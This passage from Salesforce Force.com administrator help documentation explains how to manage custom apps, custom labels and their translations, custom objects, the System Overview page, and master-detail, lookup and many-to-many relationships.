The image must be in GIF or JPEG format and less than 20 KB in size.
If the image is larger than 300 pixels wide by 55 pixels high, then it will be scaled to fit.
For the best on-screen display, we recommend you use an image with a transparent background.
The Externally Available checkbox must be selected on the document's properties so that users can view the
image.

6. Click the left and right arrow buttons to add or remove tabs from the app.
7. Click the up and down arrow buttons to define the order in which the tabs will display in the app.
8. Optionally, set the default landing tab for your new app using the Default Landing Tab drop-down menu below the
list of selected tabs. This determines the first tab a user sees when logging into this app.
9. Optionally, select the Overwrite users' personal custom app customizations checkbox to override any app
personalizations users may have made.
10. Check the Visible box to choose the user profiles for which the app will be available.
11. Check the Default box to set the app as that profiles default app. This means that new users who have the profile will
see this app when they log in for the first time. Profiles with limits are excluded from this list.
12. Click Save.

See Also:
What is an App?
Managing Apps

1724

Create

Managing Apps

Reordering the Force.com App Menu


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view apps:

View Setup and Configuration

To manage apps:

Customize Application

You can change the order in which apps appear in the Force.com app menu. The Force.com app menu is a drop-down list
that displays at the top of every application page.
1.
2.
3.
4.

Click Your Name > Setup > Create > Apps.


Click Reorder.
Click the arrows as desired to change the app order.
Click Save. The changes will take effect immediately.

See Also:
What is an App?
Creating Custom Apps
Managing Apps

Removing Apps
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delete apps and objects:

Customize Application

You can remove custom apps, but not standard apps. Removing an app removes it from the Force.com apps menu, but doesn't
remove any associated objects. If you've created objects for an app, you may want to remove them as well.
1. Click Your Name > Setup > Create > Apps.
2. Click Del next to the app.
3. Optionally, delete any associated objects.

1725

Custom Labels

Custom Labels Overview

CUSTOM LABELS
Custom Labels Overview
Available in: Developer, Professional, Enterprise, and Unlimited Editions

User Permissions Needed


Create, edit, or delete custom labels:

Customize Application

Create or override a translation:

Manage Translation
OR
View Setup and Configuration and be designated as a
translator

Custom labels are custom text values that can be accessed from Apex classes or Visualforce pages. The values can be translated
into any language Salesforce supports. Custom labels enable developers to create multilingual applications by automatically
presenting information (for example, help text or error messages) in a user's native language.
You can create up to 5,000 custom labels for your organization, and they can be up to 1,000 characters in length.
To access custom labels, click Your Name > Setup > Create > Custom Labels. From this page, you can:

Create a new custom label or edit an existing custom label.


View an existing custom label. From the view page, you can create or edit a translation in a language used by your
organization.

To add a custom label to your application, use the following steps:


1. Create a new custom label.
2. Translate the value of the label into the languages supported by your application.
3. Call the label using either an Apex class or a Visualforce page. Custom labels are called in Apex using
System.Label.Label_name. For Visualforce, use the $Label global variable.
4. Include the label in your application when you package it for the AppExchange.

1726

Create

Creating and Editing Custom Labels

Tip: If an Apex class or Visualforce page references a custom label, and that label has translations, you must
explicitly package the individual languages desired in order for those translations to be included in the package.

See Also:
Creating and Editing Custom Labels
Viewing Custom Labels
Creating and Editing Custom Label Translations
Setting Up the Translation Workbench
Salesforce Globalization Overview
Overriding Labels

Creating and Editing Custom Labels


Available in: Developer, Professional, Enterprise, and Unlimited Editions

User Permissions Needed


Create, edit, or delete custom labels:

Customize Application

Create or override a translation:

Manage Translation
OR
View Setup and Configuration and be designated as a
translator

To create or edit a new custom label:


1. From Your Name > Setup > Create > Custom Labels, click New Custom Label to create a new label, or click Edit next
to the custom label you want to edit.
2. In the Short Description text box, enter an easily recognizable term to identify this custom label. This description is used
in merge fields.
Note: You cannot change the language of an existing custom label.

3. If you are creating a new custom label, in the Name text box, enter the name the label uses. This value is used in Apex and
Visualforce pages to reference the custom label. Names must contain only alphanumeric characters, start with a letter,
contain no spaces or double underscores, and be unique from all other labels in your organization.
4. Check the Protected Component check box to mark the custom label as protected. For more information, see the
Force.com Quick Reference for Developing Packages.
5. In the Categories text box, enter text to categorize the label. This field can be used in filter criteria when creating custom
label list views. Separate each category with a comma. The total number of characters allowed in the Categories text box
is 255.

1727

Create

Viewing Custom Labels

6. In the Value text box, enter text up to 1,000 characters. This value can be translated into any language Salesforce supports.
Note: It may take a few minutes before all users see any changes you make to this field.

7. Click Save.

See Also:
Custom Labels Overview
Viewing Custom Labels
Creating and Editing Custom Label Translations
Overriding Labels

Viewing Custom Labels


Available in: Developer, Professional, Enterprise, and Unlimited Editions

User Permissions Needed


Create, edit, or delete custom labels:

Customize Application

Create or override a translation:

Manage Translation
OR
View Setup and Configuration and be designated as a
translator

After creating a custom label, you can:

Edit the custom label.


Note: You cannot edit the attributes of custom labels installed as part of a managed package. You can only override
the existing translations or provide new translations for languages not included in the package.

Delete a custom label.


Note: You cannot delete custom labels installed as part of a managed package, or that are referenced by Apex or
a Visualforce page. You can only override the existing translations.

1728

Create

Creating and Editing Custom Label Translations

Create or edit a translation.

See Also:
Custom Labels Overview
Creating and Editing Custom Labels
Creating and Editing Custom Label Translations
Setting Up the Translation Workbench

Creating and Editing Custom Label Translations


Available in: Developer, Professional, Enterprise, and Unlimited Editions

User Permissions Needed


Create, edit, or delete custom labels:

Customize Application

Create or override a translation:

Manage Translation
OR
View Setup and Configuration and be designated as a
translator

To create or edit custom labels:


1. Go to Your Name > Setup > Create > Custom Labels.
2. Select the custom label name to open the label.
3. In the Translations related list, click New to enter a new translation or Edit next to the language to change a translation.
If you click Delete, Salesforce confirms you want to delete, then removes the translation form the custom label.
4. Select the Language you are translating into.
5. Enter the Translation Text. This text overrides the value specified in the label's Value field when a user's default
language is the translation language.
6. Click Save.

See Also:
Custom Labels Overview
Creating and Editing Custom Labels
Viewing Custom Labels
Setting Up the Translation Workbench
Overriding Labels

1729

Create

Overriding Labels

Overriding Labels
Overriding Labels in Salesforce
You can change the display labels of tabs, objects, fields, and other related user interface labels so they better reflect your
organization's business requirements. When you rename a label, such as changing the Accounts label to Companies, the
new label appears on all user pages, in Connect for Outlook, and in Connect Offline. With rare exception, all pages in the
Setup area use the default, original labels.
See Renaming Tab and Field Labels on page 1054.

Overriding Labels in Managed Packages


You can override the following types of labels in managed packages.

Labels of custom tabs, objects, fields, and other related user interface labels.
See Entering Overrides to Translations in Managed Packages on page 492.

Custom labels. Custom labels are custom text values that can be accessed from Apex classes or Visualforce pages. See Creating
and Editing Custom Label Translations on page 1729.

See Also:
Custom Labels Overview
Creating and Editing Custom Labels
Creating and Editing Custom Label Translations
Viewing Custom Labels

What is a Custom Object?


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Custom objects are custom database tables that allow you to store information unique to your organization. For example, your
organization may want to create a custom object called Quotes to store data for your companys sales quotes.
For the total number of custom objects you can create, see Salesforce Editions and Limits on page 2076.
After you define a custom object, you can:

Create custom fields. For the total number of custom fields you can create, see Salesforce Editions and Limits on page
2076.
Associate the custom object with other records and display the custom object data in custom related lists. For more
information, see Overview of Relationships on page 1740.
Track tasks and events for custom object records
Build page layouts
Customize the search results and the custom object fields that display in them

1730

Create

About the System Overview Page

Create a custom tab for the custom object


Create reports and dashboards to analyze custom object data
Share your custom objects, custom tabs, custom apps, and any other related components with other Salesforce users on
Force.com AppExchange. See Overview of Packages on page 1937.
Import custom object records
Set up a queue to distribute ownership of custom object records

See Also:
Defining Object-Level Help
Tip sheet: Building Custom Objects, Tabs, and Related Lists
What is an App?

About the System Overview Page


Available in: All Editions except Personal Edition

User Permissions Needed


To access the system overview page:

Customize Application

Note: The system overview page shows only the items enabled for your organization. For example, your system
overview page shows workflow rules only if workflow is enabled for your organization.
The system overview page shows usage data and limits for your organization, and displays messages when you reach 95% of
your limit (75% of portal roles). Click the numbers under each metric to get more details about your usage. If its available,
use Checkout to increase usage limits for your organization. For example, if your organization reaches the limit for custom
objects, the system overview page notifies you with a message link. Click the link to clean up any unused objects, or visit
Checkout to increase your limit for objects.
You can also add system overview messages to the Force.com Home page to remind you when your organization reaches its
usage limits. For more information, see Configuring Force.com System Overview Messages.
To access the system overview page, click Your Name > Setup > System Overview.
The system overview page displays usage for:

Schema
API usage
Business logic
User interface
Most used licenses
Portal roles

1731

Create

About the System Overview Page

Note: The object limit percentages displayed for items used are truncated, not rounded. For example, if your
organization uses 95.55% of the limit for a particular item, the percentage displayed is 95%.

See Also:
Salesforce Editions and Limits
Configuring Force.com System Overview Messages

System Overview: Schema


Available in: All Editions except Personal Edition

The Schema box in the system overview page shows usage information for:

Custom objects: We dont count Aloha apps as part of custom objects.


Note: If youre approaching your limit for custom objects and need to delete some to create room for more, you
need to hard delete or erase them. Soft-deleted custom objects and their data count against your limits.

Data storage.

System Overview: API Usage


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

The API Usage box in the system overview page shows usage information for API requests in the last 24 hours.
Limits are enforced against the aggregate of all API calls made by the organization in a 24 hour period; limits are not on a
per-user basis. When an organization exceeds a limit, all users in the organization may be temporarily blocked from making
additional calls. Calls will be blocked until usage for the preceding 24 hours drops below the limit.

See Also:
Force.com API Usage Limits

1732

Create

About the System Overview Page

System Overview: Business Logic


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

The Business Logic box in the system overview page shows usage information for:

Rules: See Total Rules Allowed in the Rules Limits on page 2088 for more information.
Apex triggers
Apex classes
Code used: Total number of characters in your Apex triggers and Apex classes (excluding comments, test methods, and
@isTest annotated classes).

System Overview: User Interface


Available in: All Editions except Personal Database.com

The User Interface box in the system overview page shows usage information for:

Custom apps: We dont count Aloha apps as part of custom apps.


Site.com sites: We only count published Site.com sites.
Active Force.com sites
Flows: We only count active flows.
Custom tabs: We dont count Aloha apps as part of custom tabs.
Visualforce pages

System Overview: Most Used Licenses


Available in: All Editions except Personal Edition

The Most Used Licenses box in the system overview page counts only active licenses, and by default shows the top three used
licenses for your organization. Any license that reaches 95% usage also appears. Click Show All to view all the licenses for
your organization.

See Also:
Understanding User License Types

1733

Create

About the System Overview Page

System Overview: Portal Roles


Available in: Enterprise, Unlimited, and Developer Editions

The Portal Roles box in the system overview page shows the usage data and limit for total partner portal and Customer Portal
roles. The system overview page displays a message when your organization reaches 75% of its allotted portal roles.

Configuring Force.com System Overview Messages


Available in: All Editions except Personal and Database.com

User Permissions Needed


To configure Force.com messages:

Customize Application

Note: The system overview page shows only the items enabled for your organization. For example, your system
overview page shows workflow rules only if workflow is enabled for your organization.
Add system overview usage messages to the Force.com Home page to remind you when your organization approaches its
limits. You can expand, collapse, and dismiss the system overview messages that appear on the Force.com Home page. By
default, the system overview home page messages are enabled.
To configure the system overview messages on the Force.com Home page:
1.
2.
3.
4.

Click Your Name > Setup > System Overview.


Click Configure Force.com Messages.
Select or deselect the types of system overview messages to show or hide on the Force.com Home page.
Click OK.
Important: System overview messages only appear on the Force.com Home page when your organization approaches
its limits.

When you enable or dismiss system overview messages on the Force.com Home page, it only impacts your individual view of
the system overview messages.

See Also:
About the System Overview Page

1734

Create

Defining Custom Objects

Defining Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions
S-Controls, Reports, Activities, Divisions, Search, and Custom Tabs are not available in Database.com

User Permissions Needed


To create and edit custom objects:

"Customize Application"

Define custom objects to track and store data unique to your organization. For the total number of custom objects you can
create, see Salesforce Editions and Limits on page 2076.
To create a custom object:
1. Click Your Name > Setup > Create > Objects.
2. Click New Custom Object, or click Edit to modify an existing custom object.
3. Enter the following:
Field

Description

Label

A name used to refer to the object in any user interface pages.

Plural Label

The plural name of the object. If you create a tab for this
object, this name is used for the tab.

Gender

If it is appropriate for your organizations default language,


specify the gender of the label. This field appears if the
organization-wide default language expects gender. Your
personal language preference setting does not affect whether
the field appears. For example, if the organizations default
language is English and your personal language is French,
you are not prompted for gender when creating a custom
object.

Starts with a vowel sound

If it is appropriate for your organizations default language,


check if your label should be preceded by "an" instead of "a."

Object Name

A unique name used to refer to the object when using the


API. In managed packages, this unique name prevents
naming conflicts on package installations. The Object Name
field can contain only underscores and alphanumeric
characters. It must be unique, begin with a letter, not include
spaces, not end with an underscore, and not contain two
consecutive underscores.

Description

An optional description of the object. A meaningful


description will help you remember the differences between
your custom objects when you are viewing them in a list.

1735

Create

Defining Custom Objects

Field

Description

Context-Sensitive Help Setting

Defines what displays when users click the Help for this
Page context sensitive help link from the custom object
record home (overview), edit, and detail pages, as well as list
views and related lists. Choose Open the standard
Salesforce Help & Training window if you want to display
the basic Salesforce help available for any custom object
record. Choose Open a window using a Visualforce
page or Open a window using a custom s-control to display
the Visualforce page or s-control you select as the
context-sensitive help link from any custom object record
page.
Note: The Help & Training link at the top of any
page is not affected by this setting. It always opens
the Salesforce Help & Training window.
For more information on creating custom help, see Custom
Help Overview on page 1606.

Custom S-Control

The s-control you have defined that contains the help


content for this custom object.

Record Name

The name used in page layouts, list views, related lists, and
search results.

Data Type

The type of field (text or auto-number) for the record name.


Records that have unique IDs instead of names use
auto-numbers. An auto-number is a unique number assigned
automatically. It is always a read-only field.

Display Format

For a Record Name of type auto-number, enter a display


format. You can have up to two sets of curly braces. For
more details about display format options, see Custom Field
Attributes on page 1082.

Starting Number

For a Record Name of type auto-number, enter the number


to use when creating your first record for this custom object.

Allow Reports

Makes the data in the custom object records available for


reporting purposes.
To create reports on custom objects, choose the Other
Reports report type category unless the custom object has
a relationship with a standard object. When the custom
object has a master-detail relationship with a standard object,
or is a lookup object on a standard object, select the standard
object for the report type category instead.

Allow Activities

Allows users to associate tasks and scheduled calendar events


related to the custom object records. For more information,

1736

Create

Defining Custom Objects

Field

Description
see Notes on Enabling Activities for Custom Objects on
page 1738.

Enable Divisions

If your organization has divisions enabled, select this option


to enable the custom object for divisions. Divisions group
records for simplified search results, list views, reports, and
other areas within Salesforce. Salesforce adds a Division
field to the custom object, and if the custom object is the
master in a master-detail relationship, any custom objects
on the detail side also get the Division field and inherit
their division from the master record.

Track Field History

Enables your organization to track changes to fields on the


custom object records, such as who changed the value of a
field, when it was changed, and what the value of the field
was before and after the edit. History data is available for
reporting, so users can easily create audit trail reports when
this feature is enabled.

Deployment Status

Indicates whether the custom object is visible to other users.


For more information, see Custom Objects Deployment
Status on page 1739.

Add Notes & Attachments...

Allows users to be able to attach notes and attachments to


custom object records. This allows you to attach external
documents to any object record, in much the same way that
you can add a PDF or photo as an attachment to an email.
This option is only available when you are creating a new
object.

Launch the New Custom Tab Wizard

Starts the custom tab wizard after you save the custom object.

4. Click Save.

Notes on Custom Objects


Object Permissions
In Enterprise, Unlimited, and Developer Editions, when you create a custom object, the Read, Create, Edit, and
Delete permissions for that object are disabled for any profiles in which View All Data or Modify All Data is
disabled. You can enable access to custom objects in permission sets or custom profiles, and assign them to the users
who need access. For more information, see Overview of User Permissions and Access on page 555.
Note: In Contact Manager, Group, and Professional Editions, when you create a custom object, the Read,
Create, Edit, and Delete permissions for that object are enabled for all profiles.

Sharing Model
The data sharing model for all custom objects is controlled by an organization-wide default setting. For more information,
see Custom Object Security on page 1757.

1737

Create

Defining Custom Objects

Delegating Custom Object Administration


After you create a custom object, you can delegate the administration of the custom object to other non-administrator
users.
Queues
After you create a custom object, you can define queues to distribute ownership of custom object records to your users.
Search
Custom object records appear in search results only if they have a custom tab.

See Also:
Workflow and Approvals Overview
Overview of Relationships
Defining Object-Level Help

Notes on Enabling Activities for Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

If you enable activities when creating a custom object, the activity related lists are added to the default page layout
automatically. If you enable activities later, after the custom object already exists, you must add the related lists to the page
layout manually.
Disabling activities for a custom object does not delete existing activity records. However, activity related lists are removed
from custom object pages, and reports containing activities and the custom object are deleted.
If a custom object has a master-detail relationship with accounts, the custom objects activities roll up to the account and
cause the accounts Last Activity date to be updated. For custom objects related to other types of records, the activities
do not roll up.
The ability to send emails or create mail merge documents is available for activities on custom objects. The email must be
sent to a contact or lead.
When you change the ownership of a custom object record, any open activities related to that custom object are also
transferred to the new record owner.
You cannot disable activity tracking for a custom object if any workflow tasks are associated with that custom object, or if
tasks and events are child data sets of the custom object in a mobile configuration.
Custom object records can only be associated with a call log in Salesforce CRM Call Center if activities are enabled for
the object.

See Also:
Defining Custom Objects
Creating a Many-to-Many Relationship
Defining Data Sets

1738

Create

Managing Custom Objects

Custom Objects Deployment Status


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To deploy custom objects:

Customize Application

While developing custom objects, you may not want users to see and interact with a new object. Because users may get frustrated
with changes in layout or lose data when you delete custom fields, control visibility of the new object until you are finished.
Use the Deployment Status setting in the custom object definition to control when users can see and use a custom object
and its associated custom tab, related lists, and reports.

Choose In Development as the Deployment Status when first creating your custom object to hide it from users while
you are designing and testing it. Making the status In Development hides the custom object tab, search results, related
lists, and report data types from all users except those with the Customize Application permission.
Change the Deployment Status to Deployed when you want to allow all users to use the custom object and any
associated custom tab, related lists, and reports.
After deploying a custom object, change the Deployment Status back to In Development if you want to make more
enhancements to it.
Note: A custom report type's Deployment Status changes from Deployed to In Development if its primary
object is a custom object whose Deployment Status similarly changes. For more information, see Creating Custom
Report Types on page 3107.

See Also:
Defining Custom Objects

Managing Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Managed Packages are not available in Database.com.

User Permissions Needed


To create and edit custom objects:

Customize Application

After creating your custom objects, you can customize, edit, and delete them. Click Your Name > Setup > Create > Objects
to display the Custom Objects list page, which shows the list of custom objects defined for your organization. From the Custom
Objects list page, you can:

1739

Create

Overview of Relationships

Click New Custom Object to define a custom object.


Click the object name to display detailed information about the custom object and customize it further.
Optional features you can customize include enabling reports, tracking activities, tracking field history, and making the
object available for the Salesforce Customer Portal.

To update the custom object definition, click Edit and update the desired fields in the wizard.
Note: The Allow Reports and Allow Activities fields are not locked in Managed - Released and can be
changed by the developer in future releases of a managed package

To delete a custom object, click Del.


Note: You can't delete more than 100,000 combined objects and child records at the same time. To delete an
object that has more than 100,000 child records, first delete an appropriate number of its child records.

To view deleted custom objects, click the Deleted Objects link. The total number of deleted custom objects for your
organization is listed in parentheses.

The detail page of the custom object provides information about various characteristics of the object, including standard fields,
custom fields, field history tracking, relationships, custom links, search layouts, page layouts, and object limits. You can:

Click on individual items to display additional detail.


Click more at the bottom of the page or View More below a related list to display more items.
Click New to directly add new items.
Note: The object limit percentages displayed for items used are truncated, not rounded. For example, if your
organization uses 95.55% of the limit for a particular item, the percentage displayed is 95%.

See Also:
What is a Custom Object?
Overview of Relationships
Customizing Custom Objects
Import My Organization's Custom Objects
Tracking Field History
Defining Object-Level Help
Tip sheet: Building Custom Objects, Tabs, and Related Lists

Overview of Relationships
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

Use relationships to associate an object with other objects in Salesforce. For example, a relationship can link custom object
records to standard object records in a related list, such as linking a custom object called Bugs to cases to track product defects

1740

Create

Overview of Relationships

associated with customer cases. You can define different types of relationships by creating custom relationship fields on an
object. Before you begin creating relationships, determine the type of relationship that suits your needs.
There are different types of relationships between objects in Salesforce. Their differences include how they handle data deletion,
sharing, and required fields in page layouts:
Master-detail
This type of relationship closely links objects together such that the master record controls certain behaviors of the detail
and subdetail record. For example, you can define a two-object master-detail relationship, such as AccountExpense
Report, that extends the relationship to subdetail records, such as AccountExpense ReportExpense Line Item. You
can then perform operations across the masterdetailsubdetail relationship.
Behaviors of master-detail relationships include:

When a master record is deleted, the related detail and subdetail records are also deleted.
By default, records cant be reparented in master-detail relationships. Administrators can, however, allow child records
in master-detail relationships on custom objects to be reparented to different parent records by selecting the Allow
reparenting option in the master-detail relationship definition.
The Owner field on the detail and subdetail records is not available and is automatically set to the owner of the master
record. Custom objects on the detail side of a master-detail relationship can't have sharing rules, manual sharing,
or queues, as these require the Owner field.
The security settings for the master record control the detail and subdetail records.
The master-detail relationship field (which is the field linking the objects) is required on the page layout of the detail
and subdetail records.
The master object can be a standard object, such as Account or Opportunity, or a custom object.
As a best practice, don't exceed 10,000 child records for a master-detail relationship.

Many-to-many
You can use master-detail relationships to model many-to-many relationships between any two objects. A many-to-many
relationship allows each record of one object to be linked to multiple records from another object and vice versa. For
example, you may have a custom object called Bug that relates to the standard case object such that a bug could be
related to multiple cases and a case could also be related to multiple bugs. See Creating a Many-to-Many Relationship
on page 1743.
Lookup
This type of relationship links two objects together. Lookup relationships are similar to master-detail relationships,
except they do not support sharing or roll-up summary fields. With a lookup relationship, you can:

Link two different objects.


Link an object with itself (with the exception of the user object; see Hierarchical on page 1742). For example, you
might want to link a custom object called Bug with itself to show how two different bugs are related to the same
problem.
Note: Lookup relationships from objects related to the campaign member object arent supported; however, you
can create lookup relationships from the campaign member object related to other objects.

When you create a lookup relationship, you can set these options:

Make the lookup field required for saving a record, requiring it on the corresponding page layout as well.

1741

Create

Overview of Relationships

If the lookup field is optional, you can specify one of three behaviors to occur if the lookup record is deleted:
Clear the value of this field This is the default. Clearing the field is a good choice when the field
does not have to contain a value from the associated lookup record.
Dont allow deletion of the lookup record thats part of a lookup relationship This
option restricts the lookup record from being deleted if you have any dependencies, such as a workflow rule, built
on the relationship.
Delete this record also Available only if a custom object contains the lookup relationship, not if its
contained by a standard object. However, the lookup object can be either standard or custom. Choose when the
lookup field and its associated record are tightly coupled and you want to completely delete related data. For
example, say you have an expense report record with a lookup relationship to individual expense records. When
you delete the report, you probably want to delete all of the expense records, too.
Caution: Choosing Delete this record also can result in a cascade-delete. A cascade-delete
bypasses security and sharing settings, which means users can delete records when the target lookup record
is deleted even if they dont have access to the records. To prevent records from being accidentally deleted,
cascade-delete is disabled by default. Contact Salesforce.com to get the cascade-delete option enabled for
your organization.

When you define a lookup relationship, you have the option to include a lookup field on the page layouts for that object
as well as create a related list on the associated object's page layouts. For example, if you have a custom object called
PTO Requests and you want your users to link a PTO request with the employee submitting the request, create a
lookup relationship from the PTO Request custom object with the user object.
You can't delete an object or record in a lookup relationship if the combined number of records between the two linked
objects is more than 100,000. To delete an object or record in a lookup relationship, first delete an appropriate number
of its child records.
Hierarchical
This type of relationship is a special lookup relationship available only for the user object. It allows users to use a lookup
field to associate one user with another that does not directly or indirectly refer to itself. For example, you can create a
custom hierarchical relationship field to store each user's direct manager.
Tip: When creating a hierarchical field in Personal, Contact Manager, Group, and Professional Editions, you
can select the Restricted Field checkbox so that only users with the Manage Users permission can edit
it. In Enterprise, Unlimited, and Developer Edition, use field-level security instead.

See Also:
Considerations for Relationships
Defining Custom Objects
Creating Custom Fields

1742

Create

Overview of Relationships

Creating a Many-to-Many Relationship


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Reports are not available in Database.com.

User Permissions Needed


To create a many-to-many relationship:

Customize Application

You can use master-detail relationships to model many-to-many relationships between any two objects. A many-to-many
relationship allows each record of one object to be linked to multiple records from another object and vice versa. For example,
you may have a custom object called Bug that relates to the standard case object such that a bug could be related to multiple
cases and a case could also be related to multiple bugs. When modeling a many-to-many relationship, you use a junction object
to connect the two objects you want to relate to each other.
Junction Object
A custom object with two master-detail relationships. Using a custom junction object, you can model a many-to-many
relationship between two objects. For example, you may have a custom object called Bug that relates to the standard
case object such that a bug could be related to multiple cases and a case could also be related to multiple bugs.
Creating the many-to-many relationship consists of:
1.
2.
3.
4.

Creating the junction object.


Creating the two master-detail relationships.
Customizing the related lists on the page layouts of the two master objects.
Customizing reports to maximize the effectiveness of the many-to-many relationship.

Creating the Junction Object


To create the junction object:
1. Click Your Name > Setup > Create > Objects.
2. Click New Custom Object.
3. In the custom object wizard, consider these tips specifically for junction objects:

Name the object with a label that indicates its purpose, such as BugCaseAssociation.
For the Record Name field, it is recommended that you use the auto-number data type.
Do not launch the custom tab wizard before clicking Save. Junction objects do not need a tab.

Creating the Two Master-Detail Relationships


To create the two master-detail relationships:
1. Verify that the two objects you want to relate to each other already exist. For example, you may want to relate the standard
case object to a custom bug object.
2. On the junction object, create the first master-detail relationship field. In the custom field wizard:
a. Choose Master-Detail Relationship as the field type.

1743

Create

Overview of Relationships

b. Select one of the objects to relate to your junction object. For example, select Case.
The first master-detail relationship you create on your junction object becomes the primary relationship. This affects
the following for the junction object records:

Look and feel: The junction object's detail and edit pages use the color and any associated icon of the primary master
object.
Record ownership: The junction object records inherit the value of the Owner field from their associated primary
master record. Because objects on the detail side of a relationship do not have a visible Owner field, this is only
relevant if you later delete both master-detail relationships on your junction object.
Division: If your organization uses divisions to segment data, the junction object records inherit their division from
their associated primary master record. Similar to the record ownership, this is only relevant if you later delete both
master-detail relationships.

c. Select a Sharing Setting option. For master-detail relationship fields, the Sharing Setting attribute determines
the sharing access that users must have to a master record in order to create, edit, or delete its associated detail records.
d. For the Related List Label that will display on the page layout of the master object, do not accept the default.
Change this to use the name of the other master object in your many-to-many relationship. For example, change this
to Bugs so users will see a Bugs related list on the case detail page.
3. On the junction object, create the second master-detail relationship. In the custom field wizard:
a. Choose Master-Detail Relationship as the field type.
b. Select the other desired master object to relate to your junction object. For example, select Bug.
The second master-detail relationship you create on your junction object becomes the secondary relationship. If you
delete the primary master-detail relationship or convert it to a lookup relationship, the secondary master object becomes
primary.
c. Select a Sharing Setting option. For master-detail relationship fields, the Sharing Setting attribute determines
the sharing access that users must have to a master record in order to create, edit, or delete its associated detail records.
d. For the Related List Label that will display on the page layout of the master object, do not accept the default.
Change this to use the name of the other master object in your many-to-many relationship. For example, change this
to Cases so users will see a Cases related list on the bug detail page.
Customizing Many-to-Many Relationship Related Lists
For a many-to-many relationship in Salesforce, each master object record displays a related list of the associated junction object
records. To create a seamless user experience, you can change the name of the junction object related list on each of the master
object page layouts to have the name of the other master object. For example, you might change the BugCaseAssociations
related list to Cases on the bugs page layout and to Bugs on the cases page layout. You can further customize these related
lists to display fields from the other master object.
To customize the fields that display in the junction object related list on each master object page layout:
1. Edit the page layout of each master object that is related to the junction object. For example, to modify the
BugCaseAssociations related list for case records, edit the page layout for cases at Your Name > Setup > Customize >
Cases > Page Layouts.
2. Edit the properties of the related list you want to modify. For example, on cases the BugCaseAssociations related list was
renamed to Bugs, so select the Bugs related list.
3. Add the fields to display in the related list. You can add fields from the junction object itself, but more importantly, you
can add fields from the other master object.
Each field is prefixed with its object name in the popup window. In the related list itself, only fields from the junction
object are prefixed with the object name; fields from the other master object are not.

1744

Create

Overview of Relationships

Note: The junction object related list does not include an icon on the master record's detail pages because the junction
object does not have a custom tab. If you make a tab for the junction object, the icon is included.

Customizing Reports for Many-to-Many Relationships


Many-to-many relationships provide two standard report types that join the master objects and the junction object. The report
types are:

Primary master with junction object and secondary master in the primary master object's report category
Secondary master with junction object and primary master in the secondary master object's report category

The order of the master objects in the report type is important. The master object listed first determines the scope of records
that can be displayed in the report.
You can create custom reports based on these standard report types. In addition, you can create custom report types to customize
which related objects are joined in the report.

See Also:
Defining Custom Objects
Considerations for Relationships
Custom Report Types Overview

Considerations for Relationships


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

Review the following considerations before creating relationships between objects:


Relationship Limits
Each custom object can have up to two master-detail relationships and many lookup relationships. Each relationship is
included in the maximum number of custom fields allowed. For the total number of custom fields you can create, see
Salesforce Editions and Limits on page 2076.
Converting Relationships
You can convert a master-detail relationship to a lookup relationship as long as no roll-up summary fields exist on the
master object.
You can convert a lookup relationship to a master-detail relationship, but only if the lookup field in all records contains
a value.
Self Relationships
You can create a relationship from an object to itself, but it must be a lookup relationship, and a single record can't be
linked to itself. However, a record can indirectly relate to itself. For example, the Holiday Promotion campaign can have
the Direct Mail campaign selected in the lookup relationship, and the Direct Mail campaign can have the Holiday
Promotion campaign selected in the lookup relationship.

1745

Create

Overview of Relationships

You can't create a many-to-many self relationship, that is, the two master-detail relationships on the junction object
can't have the same master object.
Icons for Custom Related Lists
The icon you select for the associated custom tab also displays in any custom related list you create based on a relationship.
For more information on choosing the icon for your custom tab, see Creating Custom Object Tabs.
Custom related lists do not include an icon if they are based on a relationship with a custom object that does not have
a custom tab.
Master-Detail Relationships
To create multilevel master-detail relationships, you need the Customize Application user permission.
When you define a master-detail relationship, the custom object on which you are working is the detail side. Its data
can appear as a custom related list on page layouts for the other object.
If a custom object is a detail or subdetail component in a master-detail relationship, it can't also be the master of a
different master-detail relationship.
By default, records cant be reparented in master-detail relationships. Administrators can, however, allow child records
in master-detail relationships on custom objects to be reparented to different parent records by selecting the Allow
reparenting option in the master-detail relationship definition.
You can have up to three custom detail levels.
Standard objects can't be on the detail side of a custom object in a master-detail relationship.
An object can appear once in multilevel master-detail relationships. For example, a subdetail object in one multilevel
master-detail relationship can't also be the owner of the master object in another multilevel master-detail relationship.
A subdetail object can't also be the master object of the subdetail object's detail object.
Multilevel master-detail relationships do not support division transfers.
You can't create a master-detail relationship if the custom object already contains data. You can, however, create the
relationship as a lookup and then convert it to master-detail if the lookup field in all records contains a value.
Converting relationships from lookup to master-detail, or from master-detail to lookup behaves the same as for two-object
master-detail relationships. That is, the two linked objects in the detail-subdetail1, or subdetail1-subdetail2 relationship
have the same conversion limits as the master-detail relationship.
Roll-up summary fields work as in two-object master-detail relationships. A master can roll up fields on detail records;
however, it can't directly roll up fields on subdetail records. To achieve this, the detail record must have a roll-up summary
field for the field on the subdetail record, allowing the master to roll up from the detail's roll-up summary field.
You can use multilevel master-detail relationships in custom report types. The Allow Reports checkbox must be
checked when you create the custom object. Custom report types created for multilevel master-detail relationships count
towards the organizations custom report type limit and no reports are generated if this limit is exceeded. See Salesforce
Editions and Limits on page 2076.
Custom junction objects can't have detail objects. That is, a custom junction object can't become the master object in a
multilevel master-detail relationship.
When you delete a custom object that is on the detail side of a master-detail relationship, the relationship is converted
to a lookup relationship. If you restore the custom object, you must manually convert it to a master-detail. See Changing
Custom Field Type on page 1250.
You can't delete a custom object if it is on the master side of a master-detail relationship.

1746

Create

Overview of Relationships

Undeleting the master record also undeletes detail and subdetail records.
As a best practice, don't exceed 10,000 child records for a master-detail relationship.
Many-to-Many Relationships
